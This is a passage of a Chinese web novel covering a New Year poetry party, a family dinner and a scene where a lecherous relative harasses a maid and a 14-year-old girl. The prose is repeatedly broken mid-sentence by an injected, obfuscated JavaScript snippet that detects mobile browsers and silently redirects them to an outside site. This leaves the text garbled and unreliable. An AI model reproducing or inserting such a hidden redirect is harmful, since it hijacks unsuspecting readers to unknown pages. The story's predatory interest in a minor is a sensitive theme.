“枝枝姑娘，这边这边！”宋长宴站在落了雪红木桥上招手道。 白栖枝匆匆跟了过去。 过了垂花门，走过雕花游廊，往里头才是极乐世界。 一进门，白栖枝的两个眼睛恨不得瞪得比鸡蛋还大—— 偌大的屋内分成两排，中间铺着绯色地衣，两侧摆着软垫与梨花木案几，后头还摆着一排紫檀木的三折屏风，那屏风是镂雕曲边竖棂的，屏心上裱糊绫绢，上头绘着名家山水，看起来好不阔气。 可更阔气的当属那些落座之人。 因这局是宋长宴组的，应邀者多是官宦人家的少爷千金，其间往来行者，无一不身着绫罗绸缎，腰系金玉佩饰，步履轻盈，雍容闲雅，恍若神仙下凡，明晃晃的一副世家气派。 ——纷緫緫其离合兮，斑陆离其上下。 白栖枝枉自己读了那么多的书，此刻脑子一片空白，想了半天就只剩下这一句诗了。 淮安多繁华。 此前，她虽在北名大街上早已领略过一次，可如今见到这种排场，还是会深深感叹自己眼界还是太过狭隘，如同管中窥豹般不见淮安全貌，实在是……实在是…… 白栖枝下意识向后退了一步。 她看了看自己的衣裳，既不是绫罗绸缎，也没坠上什么玉佩金带，甚至还有些不合身，都是林听澜在外头约么着比量她的大小叫人随手给她做的。 相比之下，她就像是那混入颗颗明珠间的一颗鱼目，是滥竽充数中那位名不副实的乐师。 早知如此，她便不该来的…… 一时之间，白栖枝竟忘了，自己也曾是书画院翰林院首之女，是该着与他们一同享受这番富贵荣华的。 “枝枝姑娘？”见白栖枝一直愣神，宋长宴小心翼翼地唤了她一声，生怕惊扰到她似的，一直担心地看着她，在她身边轻声问道，“可有何处不妥？” “没、没有。”白栖枝回过神来，赶紧换上一副笑脸，真诚地赞叹道，“没想到宋哥哥有这么家大的宅子，能装得下这么多的人喔！好厉害、好厉害！” 这些反倒让宋长宴不好意思了，他“嘿嘿”地揉了揉后脑勺：“也不是啦，这原本是家父赏给大哥的院子，庆祝他当了太常少卿，不过大哥说他留着这座宅子并无用处就给了我。我嘛，觉得这宅子闲着实在是太暴殄天物了，索性就改成了这副模样，逢年过节便约上几位友人来此小聚，以解乏累。不过这事儿可不能让我爹知道，不然他又要说我不学无术、考不中进士了……” 说道最后一句，宋长宴又是一副哭哭脸，可见三年落榜对他的打击有多大，吓得白栖枝一直在旁边安慰他。 “宋小二！”人潮中，有人高喊一声，白栖枝循声望去，就见着一个珠光宝气的少年人朝他们大步走来。 宋长宴立马打起精神：“李兄！” 两人相互一礼，被称作“李兄”的那人又朝着白栖枝恭敬一礼，吓得白栖枝赶紧跟着欠身回礼，道上句“李公子好”。 “姑娘不必拘谨。”李延温声道，“早在此前我们就已经从子逸口中听闻过有关于您的事了，实在是……”他深深叹了口气，嫉恶如仇道，“您那位夫婿实在忒不是人了，竟能做出如此抛妻负恩之事，若是被我抓到，我定要写一席械文，在淮安百姓面前好好数落他的罪过，叫他这辈子都在淮安抬不起头来！” 白栖枝：……啊？这么严重！ “不过白姑娘您放心，”李延顿了半晌，又拱了下手道，“家父乃是御史大夫李德义李大人，若你日后有什么困难大可以同子逸与我说，我二人定会鼎力相助！” 听到“李德义”这三个字，白栖枝突然明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809782|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了此人为何如此激动了，她虽不曾与阿爹去京中，但也从阿爹口中听过一些关于京中的事，其中最受阿爹称赞的便是这位御史台御史李德义李大人。 据阿爹说，这位李大人气性大得很，一年要对陛下死谏上三四次，上次阿爹被召入京中时就差点见着这位李大人血溅朝堂，而此番事件的缘由仅仅是因为当今花太傅的孙女与太子太过亲近，觉得若太子不娶这位花小姐为妃的话，此举实在是有伤风化，望陛下早做决断…… 这样的人生出的儿子是个性情中人似乎也不是很奇怪。 就在白栖枝不知道该如何回他这一番好意时，一旁的宋长宴开口解围道：“李兄，你吓到枝枝姑娘了。” “啊！如此，是在下唐突了，望枝枝姑娘莫怪。”说着，李延又是一个大礼，行的白栖枝汗流浃背。 还是宋长宴赶紧将他扶起，拍了拍他的背，宽慰道：“哎，今日宴会本是为了玩乐，就不提那些伤心事了。李兄可与大家商讨好今日要玩些什么了？” 说起玩乐，李延原本紧绷绷的脸这才稍作缓和：“方才大家商榷了一番，原本想作行酒令的，却又怕枝枝姑娘不胜酒力，故改为飞花令，以‘花’字为题，各人说一句诗，按照龙摆尾的顺序，若有人三秒之内答不出，便自罚酒一杯，如何？” 听到大家是为了迁就她才换的游戏，白栖枝受宠若惊。 不待她答，宋长宴便高兴道：“好呀！飞花令才好，又有雅兴又不至于玩的太过，这样我阿父问我做什么去了，我也好回答是来与诸位切磋诗句来了，这下子他就没有什么借口骂我了！这个好这个好！” 这一番话算是把白栖枝的担忧给打消了。 两人被领着上座，席间果然有几位阿姊，见了她都十分和善地朝她问候、同她闲聊，一来二去，白栖枝倒也真不那么紧张了，除却自己身家，谁问什么都笑盈盈地答，喜得诸位阿姊恨不得把她抱在怀里柔。 此时席间气氛已然高涨起来，有人拍了拍掌，随即走上来一堆小厮，纷纷往众人面前的酒杯里斟酒。 等到了白栖枝这里，还未等小厮提壶便有人叫道：“枝枝姑娘便不用了。她这么小，喝什么酒？来人，把我带的好茶来给枝枝姑娘泡上尝尝！” “算了吧！黄兄！”一个轻佻却不轻浮的声音反驳道，“你那茶太酽，估计枝枝姑娘喝一口就得被它苦昏了头，正巧我这儿有些从西洋带回来的花茶，枝枝姑娘，甭理他，尝尝我这个，保准儿比他那什么铁观音好喝！” 他说完，又有一人补道：“花茶好呀，正好我这儿还带了蜂蜜，一同加茶里。过年嘛！大家也都喝点甜的，这样日子才不会越过越苦。” “嘿！你这乌鸦嘴的！” 众人还未开始行令便笑闹做一团，激动处什么软垫、酒杯都飞了起来，被砸的人不但不生气反而一手挡着脸一手捂着肚子伏在地上哈哈大笑，边笑便同人讨饶，仿佛寻常人家的少年聚在一起笑闹般，完全没有半点世家子弟的礼仪端庄。 只是这样看着，白栖枝的眼眶就已经有些湿润了。 果然，都是朋友，这两方一对比—— 高下立判。 …… 28. 飞花 飞花令乃是筵席上是助兴取乐的饮酒游戏，萌生于儒家的“礼”，属雅令，以“花”字打头的诗句为伊始，对“花”字出现的位置有严格要求，例如，第一人答“花开堪折直须折”中“花”在第一字位置，那第二人所答诗句中“花”应在在第二字位置才可，并且还要同行令人吟出的诗句格律一致，非精通诗律者不能取乐。 不过介于在场还有几位女娘在，众人便除去格律这一条，随意饮酒作乐。 局既是宋长宴组的，他自然便成为行令的第一人，只见他悠悠答道：“花径不曾缘客扫。” 第二人是李延，便是想也不想，开口就道：“落花时节又逢君” 紧接着是“春江花朝秋月夜”，“自在飞花轻似梦”，“不知近水花先发”，“出门俱是看花人”…… 这令轻松便轻松在最开始，越往后说得便越难了起来——倒也不是真的想不出，只是一时间懵在哪里记不得那句说过那句没说，便错过了大好行令时间，只能愿赌服输地叹上口气，自罚一杯。有甚者更惨，虽接了，却因着不记得前人也说过，只能被大家哄笑指着，叫他也赶紧自罚一杯。 几轮下来，有人喝的满面通红，醉醺醺躺在地上不省人事，有人则滴酒不沾“啪”地打开自己那副白底洒金的扇面，忽扇上头栩栩如生的金线牡丹，优哉游哉看着周身醉倒者，露出一抹快意的笑容，待到收了折扇时又捏着扇柄戳戳那人的肚子，嬉笑道：“阿兄，真醉了？” 姑娘们因大多喝的是茶，不见有醉，趁着他人行令时还私下里笑闹着聊些从京城传来的趣事，也有人喝的是酒，喝到飘飘然处往闺中好友肩上一趴，拉着手，不知同她附耳悄悄说得什么，惹得两人都痴痴地笑了起来。 白栖枝在席间也玩的不亦乐乎。 她不敢说自己读过多少书，亦不敢说自己是前任书画院院首之女，只能打着林听澜的远房表妹的名号，同众人玩闹着，有些时候就算能答得上来也不敢答，只用手背挡着唇痴痴地笑，自愿罚茶一盏。 大家谅她年幼，从不为难她，也不笑她读书少，就这样一圈圈地行着，其乐融融。 这场飞花令是以白栖枝的一句“待到秋来九月八，我花开后百花杀”为尾结束的。 ——待到秋来九月八，我花开后百花杀百花杀。 哎呀呀，当真是好大的口气。 此诗一出，众人都齐齐笑了起来，却不是嘲讽的笑，而是真心觉得有趣，亦觉得以这句诗作结尾最是恰当不过。 “好，那便我花开后百花杀！”十八九正是热血上头的年纪，宋长宴也沾了些酒，听到这一句当即激动起来，坐在主座上举杯开怀道，“今日还请诸位兄弟姊妹尽情饮酒作乐，无须拘泥于寻常礼节，诸位！新春快乐！” 众人见状亦纷纷跟着一起举杯，拱手笑道：“诸位新春快乐！” 说完，宴会开席，大家也肆无忌惮地说笑起来。 在姊妹们扎成一堆的哄闹下，白栖枝也沾了些酒，不过她酒量不好，一抿辄醉，团乎乎的小脸红彤彤的，唬得在座姐妹再也不敢劝她尝酒了。 不喝酒，那便只能谈天了。 她们便同她说笑道：“白小姐是不知道呢，子逸一回来便同我们说起过你，说他在路上若不是遇到你，恐怕他就要饿死在路上了！只不过他说得玄而又玄，什么雨夜啊，破庙啊，煮白粥的小姑娘啊，知道的他是要进京赶考，不知道的还以为他去梦游聊斋了呢！” 白栖枝听罢也同她们痴痴地笑。 说起来，她与宋长宴的初遇还真像聊斋志异呢，彼时她还一个人在路上流浪，途经一个小村落不慎饿晕在村口，那里一个年长的阿婆见她可怜便把她带了回去，白栖枝是就阿婆从鬼门关里救回来的。 阿婆人很好，知她无父无母一个人在外头独自流浪，又连着三四天没有吃饭，当即给她蒸了香喷喷的菜包子。 白栖枝也是在吃饭时得知阿婆的现状的：阿婆无儿无女，她的儿女都在几年前的一场洪水中被撸去了性命，而她的夫郎早在儿女出生前就被疾病撸去了性命，她便只能守着自己的贞节牌坊、守着自己一双儿女的坟一直孤零零地生活在村子里。 如今见着白栖枝，倒令她又想起自己那个可怜乖巧的女儿了，若她的女儿也有女儿，估计也该像白栖枝这么大了。 得知白栖枝还要赶路，阿婆也没强留她，而是给她带了几个粗面饼子和一小包米让她路上慢慢吃，还给她指了条明路，叫她不必在村外的林子里迷路。 白栖枝就是依照阿婆的话才走出村子的。 又是接连几天的赶路，某日，天欲雨，白栖枝赶紧寻了个破庙钻进去躲着。 肚子饿的咕噜噜的叫，身上的饼子也吃光了，无奈之下白栖枝只能在寺庙里找了个破瓦罐，用不远处的溪水刷一刷，又带了些柴火回来煮粥，刚要好，外头就刷拉拉地下起暴雨来，紧接着就钻进来一个浑身湿透、又冷又饿的倒霉书生。 而这位倒霉书生自然就是独自一人欲进京赶考的宋长宴了。 因他看起来实在是可怜，白栖枝便善心大发地邀他来烤火喝粥，顺便和他闲谈，谈来谈去两人就熟了，他给她画去淮安的舆图，她给他指村子的方向，第二日两人就互相拜别，并且约对方以后若有缘再遇必要一起好好游乐一番，同享淮安繁华。 再后来，便是白栖枝被林听澜排挤，宋长宴名落孙山，许是上天垂怜，两个小倒霉蛋这才有幸在淮安碰头，好好安慰安慰对方。 这时，说话那人又补道：“话说子逸他呀，这辈子除了我们姊妹几个，还从未与其他小女娘说过话呢——白姑娘啊，你看我们家子逸如何呀？” 此话一出，诸位姐妹都笑了起来，唯独白栖枝醉醺醺傻乎乎地答道：“恩人？恩人他很好的！如果不是恩人给枝枝画舆图，枝枝估计现在还到不了淮安呢！枝枝很感激恩人的！” 一旁有人戳了戳她，娇嗔道：“你呀，白姑娘年纪还小着呢，说这些做什么？” 那人道：“十四，也不小啦，该是时候了……不过看样子白姑娘和子逸都还情窦未开应该不懂这些事，不问也罢，没准以后他们就懂了。” 因着大家还要回去陪伴家人，这宴会不过未时便匆匆地散了。 白栖枝还醉着，路都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812447|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走不太稳，是宋长宴送她回到林府的。 一路上，宋长宴都保持着一副君子模样，就算是白栖枝走得踉跄，他也只是时不时地虚浮着，根本不敢碰她一下，生怕轻薄了她。 由是当遇见林听澜时，他还是赤红着一张脸，急急行了个礼便匆匆离去，甚至还因走得太快被门槛搬了个踉跄差点扑倒在林府大门前，搞得林听澜还以为两人发生了什么，转这个儿地将白栖枝浑身检查了一遍，确定没有才长舒口气，放下心来。 “嘿嘿……”白栖枝还没搞清楚发生了什么，抱着阿姊们临行前塞给她的蜜桔傻乐了，直到抬头对上林听澜那张墨黑似得脸。 白栖枝：“……” 林听澜：“……” 两人相对无言，良久，白栖枝默默蹲下，双手抱住脑袋，犹疑喃喃道：“我是不是做噩梦了？怎么在梦里还能见到那个大坏蛋？” 她这样，林听澜实在是忍无可忍，一把把她拎了起来，吓得白栖枝手里的蜜桔都掉了，咕噜噜地滚到了林听澜脚边。 白栖枝：“啊……掉了。” 说着，便要伸手去捡，无奈林听澜把她拎得抬高，叫她怎么够都够不到，一副快要急哭了的样子。 最后还是林听澜大发善心把她放低了一点。 白栖枝捡到蜜桔后就继续抱着傻乐。 林听澜十分嫌弃：“真是，浑身酒气，看你怎么跟忘尘交代……对了，你不是说要给忘尘带好吃的回来么？好吃的呢？” 白栖枝：“啊……忘了。” 她好像有点玩的太开心，把沈哥哥给忘掉了…… 呜呜呜……她真是个背信弃义的小人，要是让阿娘阿爹和阿兄知道的话，他们肯定会对她很失望的！ 不对！ 阿娘阿爹和阿兄早就死掉了，他们不会再来看她了。 她早就成了没人要的小孩了…… “哎哎哎，你哭什么！”见白栖枝突然一下子哭得梨花带雨的，林听澜头疼地捏了捏眉心，一把抢过白栖枝手里的蜜桔道，“桔子也行，我去给你沈哥哥送过去，你赶紧回去把一身酒味给洗干净了，晚上你沈哥哥还要邀你一起吃饭呢，别熏着他！” 说完，又赶紧把白栖枝放回地上，生怕她再生出什么幺蛾子来。 但是没有，白栖枝只是擦了擦脸上的泪渍，喃喃地说了些一句话。 “什么？”林听澜没听清。 白栖枝又大些声音重复了一遍，问道：“所以枝枝不是没人要的小孩对不对？” 林听澜如鲠在喉。 白栖枝到底也是他看着长大的，曾经千娇万宠的大小姐如今变成个无家可归只能来求他庇护的小姑娘，烦归烦，但说没有一点心疼肯定是假的。 听她这么说，林听澜难得地缓和了脸色，拍了拍白栖枝的头道：“瞎想什么呢？赶紧去沐浴，晚上还要和你沈哥哥还有……咳……还有我一起吃角子呢。”说完，又觉得这话太矫情，又搡了她一把催促道，“去去去，别在这儿悲秋伤春的了，赶紧沐浴去，若是来晚了，我可是要罚你的。” “嗯……” …… 29. 过年 呼—— 趴在温热的浴桶中白栖枝才渐渐拢回了些神智。 像是从神仙宫一下又跌回人间，此前发生过的事美好的如同梦一样，哪怕白栖枝不想承认也不得不承认有钱有权的好。 此前在白府时她并不明白为何人人都求权钱，如今一朝跌入泥潭、寄人篱下，她才懂得钱的好。 自己何时也能登顶至如此呢？ 若她能登顶至此，是否为阿父报仇便易如反掌了呢？ 门外传人来唤，白栖枝渐渐睁开双眼，应了一声，出浴拾掇着自己。 她是按时按点到的膳厅，桌上角子热气蒸腾，白雾从盘盘碟碟中往上升正好遮住桌上两人的神情，叫白栖枝看不清。 她想：他们也应该看不清她的神情。 “枝枝，过来。”沈忘尘如旧朝身旁的凳子上轻拍了拍，招呼她过来。 白栖枝笑着应了，乖乖坐了过去。 沈忘尘的手夹不动角子，便由林听澜夹给他，叫他舀着吃。 白栖枝已经熟稔地学会了在此时化作一团空气，不去搅了他们的兴致。 “枝枝今日同宋二公子玩的如何？听说还喝了酒，胃里有没有不适？”正吃着，沈忘尘突然含笑问了这么一句话。 白栖枝只当他是关心自己，笑道：“今天宋哥哥约我去他的一处雅苑玩了飞花令，可好玩了，就是枝枝才疏学浅有好几次没答上，被罚了好多次。”说完，她怕沈忘尘误会，又补，“不过大家没有让枝枝罚酒，枝枝喝的是茶水来着，就是后面看大家喝酒实在是有趣，就没忍住……偷尝了一点……” 说到最后一句，她气短的不行，心虚地抬头，小心翼翼地观察着沈忘尘的神色。 后者神色如常，只是听她如此答，眼中闪过一抹晦朔的光。 “是么？”他勾了勾唇瓣，放下碗勺抬手摸了摸白栖枝的小脑袋，用拇指轻轻摩挲着她的头盖骨，温声笑道，“枝枝开心便好。” 便也是现在的白栖枝对他毫无防备之心，等到日后她再想起沈忘尘此举，天灵盖上肯定犹如有一百只蚂蚁在啃食，令她难受不已。 听他这话，白栖枝反倒松了口气，弯了弯眉眼欢声应道：“嗯！” 渐渐地，窗外传来放烟火的声音。 白栖枝到底是小，对这些玩意儿十分感兴趣，但又觉得自己好像忘记了什么。 仔细一想——啊！昨儿是除夕，她忘记守岁了！ 守岁，又称守岁火、照岁，当日百姓们会将所有房子都遍燃灯烛。 除夕夜遍燃灯烛通宵不灭，谓之“照虚耗”，据说如此照岁之后，就会使来年家中财富充实，把一切邪瘟病疫赶跑驱走。 这么重要的事她居然忘记了，好伤心…… “想什么呢？”依旧是沈忘尘第一个察觉她的失落，开口询问道。 白栖枝有点小懊恼：“昨儿是除夕，枝枝居然忘记守岁了，明明是很重要的事却被忘记了……沈哥哥有在好好地守岁吗？” 但话一出口她就又后悔了——毕竟沈哥哥身体不好，要他守岁还是太为难他了，估计守到一半就会力竭而睡了吧？ 提起昨晚，沈忘尘下意识地看了林听澜一眼，白皙如玉的脸上难得地浮上一层红云。 守岁嘛，有是有，只不过是被迫的而已。 明明都说了“不要”，但那人却借着“守岁”的名义非要，缠了他一晚上，他又怎么能忍心接着说“不要”？ 到底还是要了。 “有哦。”只刹那间，他便问了心神，看着白栖枝低首浅笑，“确实有在好好守岁，不过枝枝不用担心，我与你林哥哥也有好好地替枝枝把那份‘岁’给好好守住哦。” “吭。”林听澜一个没忍住，咳出了角子馅，是韭菜虾仁的。 他没有反驳，默默掏出手绢擦了擦嘴，并一度怀疑沈忘尘是否之前就有过带孩子的经历，不然这些哄孩子的话他怎么张口就来？ 不过说到守岁…… 他昨日是想快些结束的，但床上，沈忘尘那活色生香的模样，他还真就一时间把持不住，把这“岁”给守住了，真是难为忘尘今早还能早起催促他给这小妮子塞红包啊。 又或者……忘尘开始喜欢上这小妮子了？！ 身旁传来一阵阵的醋味，不是碗里，是林听澜身上。 哄完这个晚上还得接着哄那个，沈忘尘觉得自己好累，身心都累。 忽地，外头“啪”地响了个大的，旋即漫天红光将整个膳厅都映亮了一瞬。 白栖枝一个没忍住“哇——”了出来，然后又一个没忍住，把牙给硌了。 一吐，是个小小的金瓜子。 白栖枝汗颜：她还真是擅长从各种食物中吃出异物来啊…… 不过亏得她“哇”前没咬，不然没准一个不小心，她就给吞进去了呢！ 好吓人…… 正当白栖枝还在后怕时，沈忘尘已经出声道：“枝枝好厉害，一下子就吃中了带有金瓜子的角子，今年一定会顺顺利利的。” 此话一出，林听澜也投来目光，白栖枝倍感压力山大。 她赶紧笑道：“不过是侥幸罢了，沈哥哥和林哥哥今年一定会更顺利的，沈哥哥身体康健，林哥哥财运亨通，嘿嘿……” 好累，白栖枝从没这么疲惫过。 从前在白家，众人知她吃到了带有金瓜子的角子都会给她一箩筐的夸奖和抱抱，甚至在她吃不到的时候，大家都会用筷子偷偷戳，特地将含了金瓜子的夹给她，那里需要像现在这样胆战心惊。 如果她有钱有自己的宅子就好了…… 念头一出，白栖枝赶紧呸掉，暗道自己什么时候变得这么财迷了！爹爹说过，钱多了是会平添许多烦恼和危险的，甚至还会有性命之忧呢！ 她要活命，她不要好多好多的钱。 她得好好活着呢！ 最后三盘角子下肚，五个带了金瓜子的角子沈忘尘一人就吃出了三个，当然这里头肯定有白栖枝和林听澜两人的功劳，前者是不敢再吃，后者是心疼他活得艰难想要新的一年让他平安纳福，强夹给他吃。 左边一个大的，右边一个小的。 沈忘尘平生第一次萌生出一家三口过日子的感觉。 外头烟火声不停。 知道白栖枝想去看很久了，也知道她不敢同林听澜说，沈忘尘便率先开口道：“我也好久没出去透透气了，一起去院子里赏烟火吧。” 他的话，林听澜一直奉为圭臬，但他的身体实在是弱，平日里多吹些风就要病倒，林听澜实在是不忍他如此，奈何沈忘尘一直坚持，林听澜便也没办法耐他如何，只能将他裹了里三层外三层，乖乖推他去院中赏烟火。 ——东风夜放花千树。更吹落，星如雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818173|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白栖枝用余光偷偷去瞧沈忘尘的神情。 沈忘尘也在抬头赏烟火，许是太久不见着如此热闹的场景，他唇边一直噙着笑意，眼睛里亮晶晶的，像是泪花，又像是他眼睛本身的光华。 天上烟火璀璨。 浮光之下，他的脸映得瓷白，许是天太冷了，他的眼尾鼻尖都红红的，看起来好不怜人。 倘若他没有遇到林听澜，没有被逐出沈家，他现在会和家人们欢聚一堂，共同过年吗？ 白栖枝不敢想。 不过事情既然已经发生了，当下便是最好，就好像虽然她的父母阿兄没有陪在她身旁，但她还活着并且不是孤身一人孤零零地度过这个年不是吗？ 当下便是最好…… 如果这一瞬能像画卷一样永远保留下来就好了。 想着，白栖枝有些落寞的失意。 但下一秒—— “哇！流星！” 随着白栖枝的一声惊呼，夜幕之上划过无数条银色丝线，从天际的右上角划至左下角，宛若夏日的一场急雨般酣畅淋漓。 “我阿娘说看到流星可以许愿哎！”说着，白栖枝闭眼抱拳，开始许下新一年的期许。 许什么呢？ 她好像也没什么可求的。 那就祝阿娘阿爹和阿兄早早投一户好人家一生平安顺遂；祝沈哥哥能早日脱离病痛，六脉调和、美意延年；祝恩人……阿不，宋哥哥早日金榜题名，考中状元荣归故里，当一个大官。 至于林听澜嘛…… 算了，他活着就好，也没什么想祝他的，就这样吧。 新的一年，那便且祝各位新春大吉、阳和启蛰、财源广进！ 过年好喂！ …… 好不了一点。 好累…… 初一正是串门的好时候，乌泱泱的林家人几乎要将林家的门槛踏破，白栖枝这才明白为什么每年初一林伯父准时都会带着伯母和林听澜来她家拜访了。 原来是在躲清闲。 林听澜也是第一次当掌家大爷，更别说是第一次招待这些不知道从哪儿闻着味就赶来了的亲戚，难免一时间心力交瘁。 沈忘尘知道那些人介意他的身份，便闭门不出，不给林听澜添乱。 白栖枝也怕林听澜一个不如意将怒火迁到她头上，便早早地躲到灶房里同芍药姐一起当个小小的灶房丫鬟。 但她没想到，终归是有人先她一步。 “别说了，我才不想去见那个林兴朝，肥头大耳不说每次见了我就贱兮兮地贴上来摸我的手，之前都好几次，我才不出去见她呢！” 春花熟悉的声音自灶房最里头响起，白栖枝也是一惊。 只听旁人安慰她道：“唉你也真是倒霉，不过五年前元宵那次接待了他们一次，便被那林小少爷一眼看中了，逢年过节的老是来骚扰你。”说完，又朝春花嬉笑道，“要我说这事儿也怨不着别人，谁叫你长得是我们姐儿几个里最出出彩的？若是你有心在自己脸上划一下，他准保吓得屁滚尿流，再也不来找你，哈哈哈哈……” 春花娇嗔地搡了她一把，骂道：“去你的！狗嘴里吐不出象牙的家伙，小心那林兴朝再相中了你！” 说完，一抬眼便见到了同前来躲清闲的白栖枝，一把扑了过去： “枝枝！” …… 30. 骚扰 白栖枝被扑了个满怀，差点站不稳，踉跄了两下才稳稳扶住她。 方才她也听到春花与其余姐姐的谈话了，只是不知道那位林兴朝是何人，不过既然姓林，当是林听澜的堂兄弟？ “枝枝你快帮我想想办法吧！”春花看起来要烦哭了。 经过短暂的讲解，白栖枝总算是明白了是怎么一回事—— 那林兴朝原是林听澜的远房堂亲，说是亲，其实已不知道是多旁支的旁支了。那些人此前与林伯父是毫不往来的，直到林伯父发达了，他们才骈肩迭迹地往林府涌，都想着蹭一蹭这位大老爷的亲，连带着分上一杯羹。 “即使如此？那为何还要有往来？”白栖枝不解道。 她也确实难解，白家本就是小门小户，到了白纪风这一代更是人丁稀少，所以人们常说，这白家不仅是祖坟冒青烟，都得是祖宗在地下三拜九叩才出了白纪风这么个人才，不让他白家指不定就要穷绝户了呢！ “你不知道那些人有多难缠，仗着和大爷在一个族谱上，端着宗族长老的架子非是要高大爷一头才肯，不然那些小村小户的人闹起来，那才难看呢！曾经老爷在世前是动怒过一次，结果那些人就在淮安传谣，败坏老爷作风，还说老爷能有今天都是祖上积的德，如今老爷发达了，就翻脸不认他们这些穷亲戚了，实在是背祖弃宗，罔顾伦理，为此老爷可是赔了好几桩买卖呢！还有还有……” 春花喋喋不休地说着，白栖枝光是听着就有够头疼的了。 “不过眼下最难搞的就是那个林兴朝，仗着自己爷爷是族中长老为所欲为，上一次抓着我的手就要让我给他当小妾，不知有多恶心！呸呸呸！” 话音刚落，说曹操曹操就到。 “春花妹妹。” 灶房外头传来一个令人毛骨悚然的声音。 春花吓得抓紧了白栖枝的手，原本温热的手指一下子凉的跟外头冻了三天的雪一样，觉不出一丝人的温度。 其姊妹听闻此声也是赶紧转过身，兀自做着自己的事，生怕被那人多看上一眼就要被捉去做姨太太。 白栖枝只听那声音又道：“春花妹妹，既然你不出来，那我可就进来寻你了。” 话音落，灶房帘子边上突然伸-进一只油腻若猪爪的手，一点点将帘子拨开，随即，伸-进来了个几乎看不出是青年人的脸来。 该如何形容那张脸呢？ 眯缝眼、猪鼻子，肥头大耳，满脸横肉！ 此刻他正笑着，整张脸的肉都堆在了一起，眼睛是看不见了，只剩下一条小小的缝，嘴倒是咧得大大的，约过一口黄牙往里瞧，几乎能看见个嗓子眼。 被这样的人亲上一口，不做上三天噩梦是不能够的。 手腕一痛，白栖枝低头一看，就见着春花将自己整只手都要捏紫了。 春花出了一手的冷汗，贴在白栖枝手腕上，黏腻的吓人。 白栖枝就见着那人缓缓走来。 林兴朝今天穿了身花青色的衣袍，上头绣着金线牡丹，花里胡哨的，衬得他越发俗气。 难得的是，他今天的目光并未在春花身上停留多久，而是转到了白栖枝身上，一见了他，当即跟见了小神仙似得挪不开眼，一双棕色的瞳仁眼神发直，嗓子眼里“咕噜”了一声，竟是几欲要馋出口水来。 都说豆蔻枝头别有滋味，他今日是要非尝不可了！ 只见林兴朝装模作样俯身一拜道：“在下浑玉县林府少爷林兴朝，不知姑娘芳名为何啊？” 这下该换白栖枝紧张了。 她哪里遇见过这样的事，一开口，声音都发-抖：“在、在、在下白、白栖枝，见过林、林公子。”说着，欠身一礼，乖巧得不行。 见她竟是个结巴，林兴朝有些不悦地皱了皱眉头，可抬头见到了白栖枝那张脸，那点子不悦也随着烟消云散了。 不过是个结巴，又不影响她这张脸，大不了等拐回府后给她毒哑了就是，不打紧不打紧。 林兴朝嘿嘿地笑着上下打量，白栖枝怕得更狠了，见那人伸手就要来摸她的手，她不敢对上那人的目光，赶紧和春花相互搀扶着欠身一礼道：“大爷吩咐过我，要我与春花姐一同去账房整理账簿，眼下怕是不能好好招待林少爷了，还请少爷见谅。” 说着，不待林兴朝开口说话，便急急扯着春花朝外走，留下厨房内一众丫鬟们瑟瑟发-抖。 离开灶房，两人异口同声地舒了口气，但要真去账房，两人是不敢去的。 其一是账房是林家重地，非有林听澜腰牌任何人不得进入，沈忘尘除外；其二便是林兴朝知道两人要去账房，非得寻去不可，到时候若再遇见，她们两个孤立无援，可就更难办了。 白栖枝抿唇细细想了下—— 眼下这种情况，她倒是可以去沈哥哥那里暂且躲避，可春花姐又该如何呢？要不也同她一起？ 此话一出，春花赶紧摆手后退几步：“不不不，我就不了，枝枝你尚且可以去，可若是被大爷知道我擅自去惊扰沈公子，估计我就要小命不报了。”说完，她也抿唇想了想，“这样吧，枝枝你先去——现如今他一双眼睛都搁在你身上，恐怕是看准了要你做妾室，你反倒比我危险多了。你不用管我，我自有地方藏起来叫他找不着，你快去吧，不然一会儿被他看见了，又该纠缠你了！” 想起林兴朝那只欲伸不伸的肥手，白栖枝猛地打了个寒噤，不安道：“那春花姐你可要好好藏起来！我先去了，等他走了我再来找你。” “嗯！” 两人就此分别，白栖枝不敢抬头，甚至恨不得闭紧双眼，跟个小鹌鹑似得急急朝着沈忘尘房间走去。 林兴朝倒也是条好狗，不知道怎么就闻着味儿找上来了。 与其说是找上来，不如说他一直跟个杀手似得偷偷跟在两人后头，待白栖枝两人分别后，难为他还纠结了一阵儿到底是去追春花还是来找白栖枝，不过看着白栖枝这玲珑瘦小的身材，他料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 